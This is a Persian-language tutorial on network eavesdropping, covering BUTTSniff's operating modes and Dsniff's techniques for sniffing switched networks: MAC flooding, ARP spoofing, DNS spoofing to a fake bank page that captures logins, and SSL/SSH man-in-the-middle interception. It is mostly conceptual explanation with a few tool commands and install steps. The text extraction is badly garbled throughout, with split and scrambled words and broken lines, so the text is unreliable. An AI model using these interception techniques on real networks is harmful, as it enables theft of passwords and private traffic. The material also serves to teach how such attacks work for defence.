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زار  ه اب املا مشخص است ک ن ترتيب ک ه ای ه BUTTSniffب اوین  در س ا عن اتی ب  list و disk dump و interactiveحالت عملي
devicesدر حالت عملياتی .  قابل بهره برداری استlist devices      تفاده در ورد اس  ميتوان اطلاعات مفيدی در باره رابط های شبکه م

ر             . عمليات استراق سمع به دست آورد      ق شماره گي ه از طری شوند شناسه      تمامی رابط های شبکه حتی مودم های ک ه شبکه متصل مي ی ب
ه رابط شبکه ای        . خاصی دارند که با ان شناخته ميشوند       وط ب بهره گيری از دو حالت عملياتی دیگر مستلزم در اختيار داشتن شناسه مرب

از دو ح list devicesاز این رو حالت عملياتی . است که عمليات استراق سمع از ان طریق انجام ميشود اتی    را ميتوان پيش ني الت عملي
ی      . دیگر دانست  اتی دیگر ، یعن رده و در      interactive و disk dumpبررسی دو حالت عملي ه ک ه ای ارای  را در قالب مباحث جداگان

  . ميپردازمinteractiveابتدا به بررسی حالت 
  

   :interactiveحالت عملياتی 
  

اتی    را از ان جهت پيش از بررسی حinteractiveبررسی حالت  عملياتی  ل       disk dumpالت عملي دیان قاب رای مبت ه ب دهيم ک ام مي  انج
ستلزم مشخص کردن شناسه یک رابط شبکه               . درک تر است     اتی م د استراق     ( دستيابی به قابليت های این حالت عملي ه فراین رابطی ک

د       این پورت قطعا ان چيزی نيست که اکنو       . و یک شماره پورت است    ) سمع از ان طریق انجام خواهد شد         ( ن در ذهن خود تصور ميکني
ابی       ) . حتما تصور اوليه شما پورتی است که از طریق ان به استراق سمع می پردازید               ل دست ی در حقيقت منظور ان پورتی است که قاب

رد        " interactive" بوده و بتوان نتایج حالت شبح        ستقر ک رروی ان م اتی      . را ب ل ذکر است حالت عملي ي  interactiveقاب ا تعي ن یک   ب
ورت         ٨٨٨٨استقرار یک شبح بر روی پورت مشخصی از سيستم ميزبان قابل دست یابی است ، به طوری که اگر پورت مورد نظر ، پ

  : باشد فرمان زیر این کار را انجام ميدهد 
C:\ >BUTTSniff –i 0 8888 

  
  :تحت چنين شرایطی صدور فرمان زیر موجب برقراری ارتباط با این شبح خواهد شد 

C:\ > telnet localhost 8888 
  

  . ، به صورتی که در شکل مشاهده ميکنيد ، در اختيار قرار می گيردinteractiveبا صدور فرمان فوق منوی اصلی حالت عملياتی 
  

  
  

   :Monitor Connectionsگزینه 
د                رار ميده ار ق ه در اختي ه آدرس    . نام گزینه به خوبی بيانگر امکانی است ک ات استراق              محسوس تو   IPکلي ه عملي سط رابط شبکه ای ک

  .سمع از ان طریق انجام ميشود، از طریق این گزینه در اختيار قرار ميگيرد 
  

   :Password Snifferگزینه 
ه ای از عمل                             باز هم اسم گزینه تمام کاری گزینه را خوب نمایش ميدهد ، این گزینه تنها به اطلاعات احراز هویت حساس است ، نمون

  .زینه را در شکل مشاهده ميکنيد کرد این گ
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   :Configureگزینه 
  . پيکر بندی و فعال نمودinteractiveبه کمک این گزینه ميتوان فيلترهای را جهت بهره برداری از حالت عملياتی 

  
   :Disk Dumpحالت عملياتی 

  
ام شده حين یک دوره                    ای انج واع خاصی از فعاليته ری از حالت       چنانچه هدف مورد نظر نظارت بر ان ره گي انی طولانی باشد ، به  زم

ه خود زا     .  تسهيلات بسيار مناسبی را در اختيار قرار ميدهدdisk Dumpعملياتی  ورد علاق با استفاده از حالت شما ميتوانيد تنظيمات م
ين سویي      ل اول تفاده از شناسه رابط     انجام دهيد آنگاه بروید و یک ماه دیگر بياید و نتایج را با خود ببرید  ؛ مشابه حالت قب ه اس چ در برنام

  )  پيدا ميشود buttsniff -lبا این دستور (شبکه مورد استفاده است 
   Active Sniffing:  استراق سمع از سوييچ -٢
  

د ،                     برخلاف هاب  ر ارسال می نمای های معمولی در شبکه اترنت که فریم ارسالی روی یک کانال را روی تمام کانالها به صورت فراگي
ر روی                   را ب ای ورودی آن ریم از روی یکی از کاناله ا دریافت یک ف ه ب عملکرد سویيچ بسيار هوشمندانه تر از هاب است ، بدین نحو ک

رده و    ) Destination Address( همه کانالهای خروجی ارسال نمی کند بلکه قبل از ارسال آن  ، آدرس فيزیکی مقصد   را بررسی ک
د   . سال ميکند که  ماشين مقصد بدان کانال متصل است           فقط ان را بر روی کانال ار       بدین طریق یک ایستگاه متصل به سویيچ قادر نخواه

  :برای درک بهتر مفهوم به شکل زیر توجه کنيد . بود ترافيک متعلق به ایستگاه دیگر را بشنود
  

  
  

د       قادر نخواهد بود ترافيک جاری شبکه ر     Snifferبا چنين ساختاری در شبکه اترنت        رار ده وذگر ق ار نف رده و در اختي ذا  . ا دریافت ک ل
د داشت و        TCPDump& WinDump و Sniffit و Snortاستفاده از ابزار  ده ای نخواه دان فای ر سویيچ  چن   در شبکه های مبتنی ب

د  رار ميده ار ق ده را دریافت و در اختي زار نصب ش ه روی ان اب ينی ک ان ماش رای هم الی ب ای ارس ریم ه ط ف رای.فق شکل ب ن م ع ای  رف
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د               ا در     . ابزارهای مفيد و در عين حال خطرناکی تهيه و توزیع شده اند که سویيچ های ضعيف و قدیمی را گمراه ميکنن ن سویيچ ه ه ای البت
  .بازار نسبت به مدل امن تر خود خيلی بيشتر وجود دارند

ده است           ه ش رای استراق سمع از روی سویيچ تهي ه ب ایی ک زار ه زار   )   Dug Song توسط ( یکی از اب ه از سه   Dsniffاب  است ک
ونيکس و سولاریس و       . مکانيزم برای ربودن فریم های ارسالی استفاده ميکند    وکس و ی ا لين ای سازگار ب ..... این ابزار بر روی محيطه

ی و استخراج اطلاعات  و تحليل بسته ها ، دسته بندLANاست و تمرکز اصلی آن بر روی ربودن اطلاعات از روی کانال انتقال شبکه         
  .در ادامه این ابزار را مورد بررسی قرار ميدهيم . حساس از آنها است

  
  

   :DSNIFFمقدمه بر 
  

ين                  ه طور یق دارد ب ودن رو دست ن ن ب در خف رار دارد و ان زار های استراق سمع ق این ابزار بدون هيچ گونه اغراق در رده اول اب
هستيد ، البته این ابزارها خوب ....  و WinDump و TCPDumpدارید و به دنبال ابزارهای مثل       ميدانم اکثر شما با این ابزار آشنایی ن       

  .هستند و من منکر کارایی خوب آنها نيستم ولی این یکی رو دست تمام اینها است 
  

دی                Dsniffابزار   سته    ترافيک جاری بر روی شبکه را بر اساس شماره پورت و مشخصات پروتکل لایه کاربرد دسته بن رده و ب  ک
د    ی نمای سير م تخراج و تف شهور را اس ای م ل ه سياری از پروتک ا ب ت ب ای مرتب ق   .  ه اربرد و از طری ه ک ه در لای ای ک سته ه ی ب یعن

  .پروتکلهای مشهور توليد و مبادله ميشود را به صورت مجزا و بر اساس تمایل و انتخاب کاربر ، در اختيار قرار ميدهد
  

  : بسته های متعلق به آنها را دسته بندی و تفکيک مينماید عبارتند از Dsniffزار مجموعه پروتکلهای که اب
  

ftp , telnet , SMTP , http ,pop , poppas , nntp , IMAP , snap , LDAP , rlogin , RIP , OSPE , NFS ,  YP/NIS 
, SOCKS , X11, CVS , IRC , AIM , ICQ , Napster , PostgreSQL , Meeting , Maker , Citrix ICA , 
Symantec pcAnywhere , NAI Sniffer , Microsoft SMB , Oracle SQL Net , Sybase SQL , Microsoft SQL , 
…… 
د از                   ستم ميتوان خوب شاید فکر کنيد این ابزار فقط به درد یک نفوذگر حرفه ای بخورد اما در جواب باید گفت بهترین استفاده را مدیر سي

  .....رآن بکند اگ
  

ز               ) ٣( همانگونه که در بالا اشاره شد این ابزار از سه            ل از هر چي ه قب مکانيزم برای استراق سمع از روی سویيچ ها استفاده ميکند ، ک
  :این سه شيوه به قرار زیر است . این سه مکانيزم را مورد بررسی قرار ميدهيم 

  
  .Dsniffا توسط از کار انداختن سوييچ از طريق ارسال سيل آسای بسته ه .١

 
  .ARPگمراه کردن ماشين با ارسال پيامهای جعلی  .٢

 
   .DNSفريب دادن ماشين از طريق استراق سمع و ارسال دروغين پاسخ  .٣

  
  
  .Dsniff از کار انداختن سویيچ از طریق ارسال سيل آسای بسته ها توسط -١
  

ه سمت سویيچ        نامMacof از روشی استفاده ميکند که ان را   Dsniffدر تکنيک اول     سته های ب يده و مبتنی بر ارسال سيل آسای ب
ت ر روی        ه ب. اس ازنده ب ه س ه در کارخان انی دارد  ک ا و جه رد و یکت ه ف صر ب ک آدرس منح بکه ی ارت ش ر ک د ه ه ميداني ه ای ک گون

EPROM   یا E2PROM  ریم از روی ک                .  حک ميشود ال تحریک   در حقيقت این آدرس ، سخت افزار ماشين مقصد را جهت دریافت ف ان
  . ميکند

  
ای شبکه                زاری کارته شوند هيچ اطلاعاتی از آدرس سخت اف ارت شبکه متصل ن ه یک ک ل ب سویيچ ها تا موقعی که از طریق کاب

دا  RAMندارند به همين دليل در هر سویيچ اندکی فضای حافظه   Source(  تعبيه شده تا با دریافت یک فریم از روی کانال ، آدرس مب
Address (  ن فریم را ذخيره کرده و در آینده از ان آدرس به عنوان مبنای راه گزینی فریم ها                   آ )Switching (  سياری  . استفاده نماید ب

د و درصورتی          از سویيچ ها با دریافت یک فریم از یکی از کانالهای ورودی سریعا آدرس مبدا آن را درون حافظه خود جستجو می کن
  .ه مينمایدکه آدرس جدیدی باشد آن را ذخير
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ه  انيزمی ک املا  Dsniffمک دا ک ه دارای آدرس مب ایی است ک ریم ه ال سيل آسای ف رده ، ارس ار ب ه ک ردن سویيچ ب راه ک رای گم  ب
ن                  . تصادفی و بی ربط هستند     د و ای ره نمای دا را درون حافظه خود ذخي ه آدرس های مب ور است هم سویيچ در مواجه با این فریم ها مجب

در هنگام پر شدن حافظه خود    % ) ٨٠بيش از   ( برخی از سویيچ ها     . فظه سویيچ از آدرس های آشغال خواهد شد       عمل باعث پر شدن حا    
ان هکس العمل دلخواه                 ن عمل سویيچ هم ، از عمل سویيچينگ صرفنظر کرده و عملکردی مشابه یک هاب ساده پيدا ميکنند ، خوب ای

  ! يک ارسالی از تمام ماشين ها گوش دهد نفوذگر از سویيچ ميباشد زیرا حال قادر است به تراف
  

صادفی و آشغال                        :نکته   •  این روش در مورد بسياری از سویيچ ها کار ميکند ولی دسته ای از سویيچ ها نصبت به آدرس های ت
به . مقاوم هستند زیرا آدرس های جدید را به جای آدرس اعلام شده قبلی منظور ميکنند لذا هيچگاه حافظه سویيچ پر نخواهد شد               

م آخرین آدرس اعلام شده است                           رد و آن ه در صورت   . عبارت ساده تر سویيچ از هر کانال ارتباطی فقط یک آدرس را ميپزی
ایين         !!  کار گشا نخواهد بود      Dsniff در ابزار    Macofحمله به سویيچ از طریق تکنيک        برای رفع این مشکل باید از تکنيک پ

  .استفاده کرد
  
  .ARP ارسال پيامهای جعلی  گمراه کردن ماشين با-٢

رد  Dsniffتکنيک دومی که ابزار     ام دارد Arpspoof برای گمراه کردن سویيچ به کار ميگي در شرایط عادی ترافيک خارجی     .  ن
  .یاب پيش فرض هدایت ميشودریک ایستگاه متصل به سویيچ به سمت یک مسي

  
سته های             • ه مقصد   IPمنظور از ترافيک خارجی آن دسته از ب د         است ک ی است و بای ا ، شبکه ای در خارج از شبکه محل  آنه

  .برای هدایت به سمت مقصد ، به مسيریاب پيش فرض در شبکه محلی تسليم شود
  

د ا   و . (هر ماشين در شبکه ، آدرس یک ماشين متصل به سویيچ را به عنوان مسيریاب  پيش فرض ميداند                  اط  رباید بداند زیرا اگر ندان تب
ه   ) Default Gateway( به مسيریاب پيش فرض در سيستم عامل ویندوز، دروازه پيش فرض یا ).  می ندارد با دنيای خارج مفهو گفت

ده دارد                 . ميشود ر عه ر دقت     . در حقيقت مسيریاب پيش فرض هدایت بسته های شبکه محلی را به دنيای خارج از شبکه ، ب ه شکل زی ب
  :کنيد 

  
  
  

ی را در        یستگاه  نفوذگر توانسته است یکی از ا      يکن ب    های شبکه های محل رد ول ار بگي ل عملکرد صحيح ، سویيچ اشباع نمی       ه اختي دلي
ا نيست               . شود ستگاه ه ه ای ه پروتکل     Dsniffحال   . بدین ترتيب او قادر به استراق سمع ترافيک بقي ا ب ا اتک ستگاه    ARP ب د ای  سعی ميکن

  .هدف را گول بزند
ق پروتکل           آموخته اید ک    TCP/IPحتما در مفاهيم اوليه      • ستگاه از طری ا آدرس     IP آدرس ARPه هر ای ی را ب  یک ماشين محل

MAC بسته تقاضای "  مينگارد ؛ این کار بر اساس ارسال فراگيرARP ) " ARP Request (   روی شبکه محلی و دریافت
 .بنا شده است ) ARP ) " ARP Responseبسته پاسخ " 

ا ارس          Dsniffعمل گول زدن     ه ب ی          بدین نحو است ک سته دروغين و جعل يش       يدرس فآال یک ب سيریاب پ وان آدرس م ه عن زیکی خود ب
سته های                        . فرض اعلام ميکند   ام ب شود و تم ام دوم مسير محسوب مي  IPبا این تکنيک ماشين نفوذگر گام اول مسير و مسيریاب واقعی گ

د عمل      بدین منظور ق ! برای خروج از شبکه محلی ، ابتدا تحویل ماشين نفوذگر خواهند شد            وذگر بای وق ، ماشين نف بل از اعمال تکنيک ف
ال شده       IP Forwardingاین عمل اصطلاحا ( هدایت و مسير یابی را بر عهده بگيرد  وذگر فع ستم عامل نف د روی سي  گفته ميشود و بای

  :برای درک بهت مراحل این تکنيک به شکل و توضيحات آن توجه کنيد ). باشد
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سته   IP Forwardingعمل در مرحله اول ،  نفوذگر  .١ ودن ب  را روی ماشين خود فعال ميکند تا بتواند پس از استراق سمع و رب

اجرا                                انی از م د و قرب يش نيای ار شبکه پ ه ای در ک ه وقف دین منظور ک د ب دایت نمای آن را به سمت مسير یاب اصلی و واقعی ه
 .بویی نبرد

ه دوم ،   .٢ ی Dsniffدر مرحل سته جعل سته پاسخ  "ARP Response  یک ب رده و  " ARP ب ه سمت ماشين هدف ارسال ک ب
يش فرض است       IPاعلام ميدارد که آدرس فيزیکی او معادل با آدرس           سته پروسه      .  از مسيریاب پ ن ب  ARPپس از دریافت ای

سته های دروغين    . در ماشين هدف ، آدرس قبلی را حذف و آدرس فعلی را جایگزین ميکند            را بدین نحو ماشين قربانی فریب ب
 .از ان به بعد هر بسته ای که به سمت مسيریاب پيش فرض هدایت شود تحویل ماشين نفوذگر خواهد شد. ميخورد

يش فرض ارسال شود ، دو                         .٣ سيریاب پ وذگر       در مرحله سوم ، ماشين قربانی ترافيکی را که باید به سمت  م ه ماشين نف دستی ب
 از مسيریاب پيش فرض قرار داده شده  IPن نفوذگر معادل با آدرسی       ، آدرس فيزیکی ماشي    ARPتقدیم ميکند ؛ زیرا در جدول       

 .است
د                 Dsniffدر مرحله چهارم ،      .۴ رار می ده وذگر ق ار نف رده و در اختي انی را دریافت ک ه   . (  ترافيک خارجی ماشين قرب دفی ک ه

 !! )نفوذگر در پی آن بوده است 
سته های         در مرحله پنجم ، چون ماشين قربانی نباید از موضوع استراق          .۵ رداری از ب سخه ب د از ن اخبر شود بلافاصله بع  سمع ب

IPآنها را به سمت مسيریاب واقعی هدایت ميکند تا بسته ها بلافاصله به مقصد اصلی خود ارسال  شود ، . 
  

ا تحریف جدول     Dsniff در نرم افزار Arp Spoofدر حقيقت تکنيک  •  ، بر عليه سویيچ عملی انجام نميدهد ، بلکه ب
ARP ور              د وذگر عب ه ترافيک خارجی او از ماشين نف ه ای ک ه گون د ب راه ميکن ر ماشين قربانی او را گول زده و گم

 .خواهد کرد
  
  .ARP از طریق استراق سمع و ارسال دروغين پاسخهای گمراه کردن ماشين  -٣
  

بنا شده است و   " ه مسيریاب پيش فرض تغيير بسته های هدف به سمت ماشين نفوذگر و از آنجا ب"  بر اساس   Arpspoofتکنيک فریب   
ره آن در  ARP Responseماشين قربانی به دليل پذیرش بسته های جعلی و دروغين  ا جدول    " ( ARP Mapping Table"  و ذخي ی

  .گمراه ميشود) نگاشت آدرس 
 آدرس  DNSهمه ميدانيم سيستم    به گونه ای که     .  پياده سازی کرد   DNS را ميتوان با ارسال بسته های جعلی         Arpspoofاصول تکنيک   

ستم       Dsniff ترجمه ميکند ؛ در نرم افزار        IPهای نمادین حوزه را به آدرس های          DNS تکنيکی برای گمراه کردن ماشينها از طرق سي
ی و دروغين        .  نام داردDNSSpoofگنجانده شده است که      ه آدرس جعل انی ، ب ورد درخواست ماشين قرب در این تکنيک آدرس حوزه م

  .  ماشين نفوذگر ترجمه ميشوداز
شتریان خود                   http://www.mackbank.comدر نظر بگيرید که      ه م ر وب ب  آدرس یک بانک خود پرداز و بلادرنگ باشد که مبتنی ب

د                       . سرویس ميدهد  ادین ان را در خط آدرس مرورگر خود تایپ ميکن رود ، آدرس نم . وقتی کاربری در شبکه ميخواهد به سراغ بانک ب
ه                  ماشين   سته های پرس و جو ب ا ارسال ب ا ب د ت ه آدرس     DNSاو تلاش مينمای ن آدرس حوزه را ب ی ای د  IP محل ه کن ه   .  ترجم ماشينی ک

Dsniff            سته پاسخ            به سرعت  روی ان نصب شده ، مترصد همين لحظه است ؛ ه ارسال یک ب ه صورت دروغين و     DNS اقدام ب ه ب  ک
د    خود را به   IPجعلی تنظيم شده مينماید و آدرس        انی ، تقاضای      . عنوان آدرس بانک مورد نظر اعلام می کن د مرورگر قرب ه بع از ان ب

د                 وذگر ارسال ميکن رای ماشين نف تباه ب ا صفحات اصلی         . دریافت صفحات وب را به اش شابه ب ی م وذگر صفحات وب جعل در ماشين نف
ر شماره شناسایی و        به طور معمول کاربر برای ورود به حساب ش        . بانک ، آماده تحویل به کاربر است       خصی خود ، باید اطلاعاتی نظي

ه                        . کلمه عبور وارد کند ؛ نفوذگر آنها را دریافت ميکند          ر و  از هم ر و راحت ت اربردی ت ه ک ز ک ه صورت دیگری ني البته این تکنيک ب
ه شکل     برای درک!!! مهمتر کاری تر نيز ميباشد قابل استفاده است که از توضيح آن صرف نظر به عمل آمده است           ن تکنيک ب  بهتر ای

  :زیر و توضيح مراحل آن توجه کنيد 
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ه          .١ وذگر برنام ای                      Dnsspoofدر مرحله اول ، نف ال می نم ی اجرا و فع ينهای شبکه محل ر روی یکی از ماش ه    .  را ب ن برنام ای
ق تکنيکی     دقت کنيد اگر شبکه محلی با سویيچ پياده سازی شده            . مترصد می ماند تا یک تقاضای ترجمه نام برسد         د طب باشد بای

د        DNSکه در قبل گفته شده ماشين نفوذگر آدرس خود را به عنوان              ی اعلام نمای ه          (  محل از ب ر هاب ني ی ب در شبکه های مبتن
 ! ) .انجام این کار نيست 

ه آدرس   www.nockbank.comدر مرحله دوم ، ماشين قربانی سعی ميکند تا آدرس حوزه              .٢ ذا ی    IP را ب د و ل ه نمای ک  ترجم
 .روی شبکه ارسال ميکند)  محلی DNSبرای ارسال به سمت ( بسته پرس جو ، 

 .در مرحله سوم ماشين نفوذگر این تقاضا استراق سمع را دریافت می دارد .٣
ا آدرس              .۴ ادل ب ه دروغ مع در مرحله چهارم ، نفوذگر با دریافت بسته های پرسش بلافاصله به آن پاسخ داده و آدرس خودش را ب

ر ميگردد          IP ماشين نفوذگر به جای آدرس        IPیعنی آدرس   . ( اعلام ميدارد مورد نظر ،     ده بانک ب ه سرویس دهن ).  مربوطه ب
 . درج ميشودDNS جعلی درون جدول IPبدین ترتيب در ماشين قربانی آدرس 

اط               .۵ انی یک ارتب نجم ، مرورگر قرب رده و تقاضای صفحه اصلی بانک          TCPدر مرحله پ رار ک وذگر برق ا ماشين نف  را می   ب
اربر جهت ورود درج                                . نماید ه ک انی ارسال شده و اطلاعاتی ک رای قرب ی ب ه صورت جعل حال این صفحه و صفحات بعدی ب

 .کرده در اختيار نفوذگر قرار ميگيرد
 

زار   • د اب رده ای شاهده ک ه م انطور ک ل آدرس Dsniffهم ایی جع ام نگاشت آدرس MAC توان ه IP در هنگ  MAC ب
 . را دارا ميباشدDNS توسط IP در هنگام نگاشت آدرس حوزه به IPنای جعل آدرس  و همچنين تواARPتوسط 

  
ه                      ه از آن جمل ر دیگری را دارا ميباشد ک ی نظي ع ب ه واق ع ب ابزار مورد بحث توانایی های جالب دیگر و البته کم نظير و در بعضی مواق

این وارد بسيار من به علت جالب بودن بحث در باره استراق سمع از که از .  را نام برد...  و ssh و httpsمی توان به استراق سمع از         
SSH و HTTPS را  مورد بررسی قرار ميدهم .  

  
   :SSH و HTTPSاستراق سمع از 

  
    :SSH و HTTPS استراق سمع از

  
.  را یادآوری ميکنم https تشریح کنم روش برقراری یک ارتباط        SSL را برای استراق سمع از سوکتهای          Dsniffقبل از آن که روش      

  : برقرار ميکند ، سلسله فعل انفعالات زیر اتفاق می افتد httpsوقتی که مرورگر با یک سرویس دهنده مطمئن ارتباط 
  

الی  .١ ه دیجيت واهی نام ده گ ه ، سرویس دهن ين مرحل ا  ) Digital Certificate( در اول د ت ال ميکن ری مرورگر ارس خود را ب
 .این گواهينامه دیجيتالی به مثابه گواهينامه رانندگی شما در یک جاده است. رورگر محرز شودهویت سرویس دهنده برای م

ل                                    .٢ ر و قاب ده معتب الی را توسط یک سرویس دهن ه دیجيت ن گواهينام ار ای دا اعتب ا ابت د ت در دومين مرحله ، مرورگر تلاش ميکن
 .ود ، تائيد نمایدناميده ميش " Trusted Certificate Authority" اعتماد جهانی که 
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 بين مرورگر و سرویس دهنده مورد نظر برقرار شده و یک کليد      SSLاگر صحت این گواهينامه دیجيتالی تایيد شد یک ارتباط           .٣
 است  Secureمبادله کليد رمز ، امن .  در نظر گرفته ميشود    SSLرمز تصادفی برای رمز نگاری اطلاعات در خلال نشست          

 .نخواهد بودو قابل کشف و استراق سمع 
شود و                   .۴ پس از توافق بر روی این کليد رمز مبادله داده ها بين مرورگر و سرویس دهنده به صورت رمزنگاری شده شروع مي

 !!چون رمز گشایی آنها از لحاظ عملی فعلا ممکن نيست لذا یک نشست امن برقرار شده است 
  

ا نيست       هرگز قادر به  Dsniffبا این توضيح کوتاه متوجه شده اید که          شایی اطلاعات و استراق سمع آنه رای  Dsniffتکنيک  . رمز گ  ب
  : به شرح زیر است SSLاستراق سمع از سوکتهای 

  
 نصب شده روی ماشين نفوذگر ، به صورت یک واسطه بين سرویس دهنده و مرورگر قربانی می نشيند و خود                  Dsniffابزار   •

 ، ماشين قربانی به گونه ای Dnsspoofingنظور با استفاده از تکنيک بدین م. را به جای سرویس دهنده اصلی وانمود می کند     
 ! ماشين نفوذگر بجای آدرس سرویس دهنده واقعی استفاده کند IPفریب داده می شود تا از آدرس 

وذگر            • ا ماشين نف تباه ب ه اش انی ب ا است        ( مرورگر قرب ه دزد داده ه انی ک ستم مي وان سي ه عن اط   ) ب ی  ( httpsیک ارتب ر  مبتن  ب
 .برقرار می کند) سوکتهای امن 

الی                        Dsniffابزار   • ه دیجيت ن گواهينام د ؛ اگر چه ای  بلافاصله گواهينامه دیجيتالی خود را برای مرورگر قربانی ارسال می نمای
ای    ( معتبر است ولی قطعا متعلق به سرویس دهنده اصلی نيست            سر راهنم ه اف تتان را ب ی مثل این است که گواهينامه معتبر دوس

 ) .با یک نگاه به عکس روی آن و چهره شما متوجه ميشود که متعلق به خودتان نيست. و رانندگی نشان بدهيد
اقض دارد                        • ورد نظر او تن ن   ( مرورگر قربانی بلافاصله به کاربر اعلام ميکند که گواهينامه دیجيتالی با آدرس حوزه م چون ای

وده است   Dsniffگواهينامه دیجيتالی متعلق به     ه دست          !!  خوشبختانه  ) ب ار را ب د از اعلام یک هشدار ، اختي ا بع مرورگر ه
 !!کاربر می دهند و از او کسب تکليف می کنند که آیا برقراری ارتباط را با وجود چنين تناقضی صورت گيرد یا که خير 

د و                     • الی و اهميت ان ندارن ه دیجيت ورد گواهينام د از           معمولا کاربران معمولی اطلاعات زیادی در م ه ان اد گرفت بطور معمول ی
د                     ا کلي ه      Proceedپيغام های هشدار چشم پوشی کرده و بدون مطالعه پيام آن سریعا کليد ادامه کار ی ا سریعا ب د ت شار بدهن  را ف

د  رمز ،     Dsniffبدین نحو کاربر نحو کاربر به واسط ميانجی که همان           . کارشان برسند  ه کلي  است اعتماد کرده و پس از مبادل
 . با آن برقرار ميکندhttpsک نشست ی

ين او       https در نقش مرورگر یک نشست امن        Dsniffدر طرف دیگر     • د رمز ب د و کلي رار مينمای  با سرویس دهنده اصلی بر ق
ده کوچک پراکسی      Dsniffبدین نحو   . و سرویس دهنده توافق ميشود     م   ) Proxy( عملا در نقش یک سرویس دهن اط ه دو ارتب

 :ار خواهد کرد  برقرhttpsزمان 
Ι :  بين خودش به عنوان سرویس دهنده و مرورگر قربانی.  
Π :  بين خودش به عنوان مرورگر و سرویس دهنده اصلی.  

ره ،                              Dsniffابزار   • د و ضمن استراق سمع و ذخي شایی ميکن د خودش  رمز گ  داده های ارسالی از مرورگر را گرفته و با کلي
در مورد داده های ارسالی . رمزنگاری کرده و به سمت سرویس دهنده اصلی ارسال مينماید    آنها را مجددا با کليد رمز دیگرش        

 !!!خوب نفوذگر به هدف خود رسيد . از سرویس دهنده نيز همين کار را انجام ميدهد
  

  :برای درک بهتر فرایند این تکنيک به شکل زیر توجه کنيد 
  

  
  

ه و استراق     ALICE و   BOBدر این شکل ماشين نفوذگر بين ماشين ماشينهای           قرار گرفته است و اطلاعات آن دو را بين طرفين مبادل
  .سمع می نماید

  
  : گفته شده است ssh mitm و web mitm اصطلاحا SSL به قابليت استراق سمع از سوکتهای Dsniffدر ابزار 
• Web mitm برای استراق سمع از https ) داده هی وب( 
• Ssh mitmز  برای استراق سمع اssh ) Secure Shell(  
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Mitm :  اصطلاحی است که گروهDug Song   رای  Person-in-the-Middle رایج کرده است و یک اصطلاح مسخره و انحرافی ب
د      mitmدر تمام حملات نوع     . است رار ميده ده و مشتری ق  ، یک ماشين با نيرنگ و به طور مخفيانه ، خودش را بين یک سرویس دهن

  .ن ان دو مبادله ميکند در حاليکه یک نسخه از اطلاعات را در اختيار نفوذگر قرار ميدهدو اطلاعات را بي
  

   :Dsniff در ابزار web mitmتشریح تکنيک 
  

وع       . این تکنيک به طور خلاصه در شکل زیر به تصویر کشيده شده است   ه از ن ن شکل حمل ا ای ه    web mitmمطابق ب نج مرحل  در پ
  :انجام ميشود 

  

  
  

 . را روی ماشين خود فعال کرده استDNS Spoof و web mitmرحله اول نفوذگر در م .١
ا        DNS Spoofدر مرحله دوم نفوذگر طبق روشی که به نام  .٢ رده ت راه ک ه ای گم ه گون انی را ب  در قبل تشریح شد ، ماشين قرب

ه آدرس         اربر را ب ورد نظر ک انی  بنگارد و    IPمرورگر او آدرس حوزه سایت وب م تباه نشست     ماشين مي ه اش ا  httpsب  را ب
ه آدرس            . ماشين نفوذگر برقرار نماید    د می خواسته ب ا ارسال                www.xzy.comفرض کني ه ب د در حالی ک رار کن  نشست برق

ا آدرس         IP گمراه شده و آدرس      Dnsspoofing توسط   DNSبسته های جعلی     وذگر را ب ده واقعی ،        IP ماشين نف  سرویس دهن
 .اشتباه ميگيرد

ام داده های ارسالی       .  با نفوذگر برقرار می کند     SSL مبتنی بر سوکتهای     httpsوم مرورگر قربانی یک ارتباط      در مرحله س   .٣ تم
 . روی ماشين نفوذگر تقدیم ميشودweb mitmاو به برنامه 

زار         .۴ رم اف تفاده از ن ا اس وذگر ب ارم ماشين نف راری        web mitmدر مرحله چه رده و پس از برق ازی ک  نقش یک پراکسی را ب
د         SSLارتباط با مرورگر قربانی ، خودش یک ارتباط          ا        .  با سرویس دهنده مورد نظر کاربر برقرار ميکن اربر ب اط ک حال ارتب

 .سرویس دهنده مورد نظرش برقرار شده و شروع به مبادله داده با آن خواهد کرد در حالی که نفوذگر این داده ها را می بيند
 

رده و در    تمام دادهweb mitmدر مرحله چهارم  •  های ارسالی از سرویس دهنده به مرورگر و بالعکس را دریافت ک
ل                      . یک پنجره ساده نشان ميدهد     م مث ال اطلاعات حساس و مه ا دنب ا درون آنه رده ی ره ک ا را ذخي نفوذگر ميتواند آن ه

 .کلمات عبور بگردد
  

الی را       نفوذگر در این گونه از حملات منوط به آن است که کاربر پي              موفقيت :نکته   • ه دیجيت ر گواهينام غام هشدار تغيي
  .نادیده بگيرد

  
   :Dsniff در ابزار ssh mitmتشریح تکنيک 

  
زار   ر     ssh mitmمشابه همين روش اب ی ب ئن مبتن د   SSL از نشستهای مطم راری نشست      .  استراق سمع ميکن رای برق  SSHاگر چه ب

 به سرویس  web mitmنفوذگر دقيقا مثل روش . برای نشست انتخاب گرددگواهينامه دیجيتالی ارائه نخواهد شد ولی باید یک کليد رمز 
 .دهنده و کاربر قرار ميگيرد

  : دو نشست هم زمان برقرار ميکند ssh mitmابزار 
  بين خودش و کاربرsshیک نشست  .١
  بين خودش و سرویس دهندهsshیک نشست  .٢
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ه مشتری          روی آن اجرا شده ssh mitmنشست بين ماشين نفوذگر که برنامه  يکن برنام دارد ول ده مشکل خاص ن و ماشين سرویس دهن
)ssh client (پس از آن  . یک پيغام هشدار به کاربر خواهد داد مبنی بر اینکه کليد رمزی که سرویس دهنده پيشنهاد کرده را نمی شناسد

د      کاربران بی تجربه ممکن است پس از اندکی تامل        .  منتظر صدور فرمان از سوی کاربر ميشود       ار را صادر کنن خوب  .  دستور ادامه ک
  !!بعد از این کار هم دیگر کاربر ناک اوت می شود 

  
  :بعد از اصول کار و تشریح تئوری و مکانيزم های کار با این ابزار به سراغ کار با خود این برنامه ميرویم 

  
  !!!نصب برنامه 

  
ا سه دستور    اول می روید از همون بالا که گفتم و آدرس دادم ميگيرد برنا            Make -٢  Configure -١( مه را بعد مثل تمام برنامه ها ب

٣- Make install (     ه از ب ما ني ه  ش ر است ک ه ذک ه لازم ب د ، البت ی کني صب م ه Berkeley DB و Open SSLن ه کتابخان  و س
Libpcap   و Libnet   و Libnids   ا ح   .  دارید ه خوب است بری      البته بنده بعد از تفحص بسيار یک نسخه باینری ب ردم ک د ال را کشف ک

  ).نمی خواستم بگم اما نسخه ویندوز این ابزار هم موجود است ولی البته فقط چهار تا از ابزارهای آن !!!!!! ( بگردید بلکه پيداش کنيد 
  

ر    را نصب Libnids و در آخر باید Libnet و بعد باید Libpcapهميشه به خاطر بسپارید که اول باید   » ١نکته   • د در غي بکني
